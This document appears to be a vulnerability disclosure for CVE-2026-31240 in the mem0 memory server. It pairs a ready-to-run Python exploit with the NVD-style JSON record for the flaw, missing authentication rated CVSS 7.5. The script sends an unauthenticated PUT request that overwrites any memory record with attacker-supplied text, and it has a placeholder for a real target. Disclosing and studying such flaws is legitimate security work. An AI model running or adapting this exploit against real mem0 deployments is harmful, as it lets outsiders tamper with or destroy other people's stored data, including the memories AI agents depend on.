CVE-2026-31240

import requests def exploit_mem0(target_url, memory_id, new_data): """ Exploit for CVE-2026-31240: Unauthenticated memory modification in mem0. """ # Target endpoint to update memory endpoint = f"{target_url}/memories/{memory_id}" headers = { "Content-Type": "application/json" } # Payload containing the malicious data payload = { "text": new_data, "metadata": {"modified_by": "attacker"} } try: # Sending unauthenticated PUT request response = requests.put(endpoint, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully modified memory record {memory_id}") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to modify record. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:8000" # Replace with actual target mem_id = "victim_memory_id_here" malicious_content = "This data has been overwritten by an attacker." exploit_mem0(target, mem_id, malicious_content)

{"cve": {"id": "CVE-2026-31240", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:52.443", "lastModified": "2026-05-14T20:17:03.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The mem0 1.0.0 server lacks authentication and authorization controls for its memory management API endpoints. Critical functions such as updating memory records (PUT /memories/{memory_id}) are exposed without any verification of the requester's identity or permissions. A remote attacker can exploit this by sending unauthenticated requests to modify, overwrite, or delete arbitrary memory records, leading to unauthorized data manipulation and potential data loss."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/mem0ai/mem0", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31240-35d1e13931888170964ae035c04a8f18", "source": "[email protected]"}]}}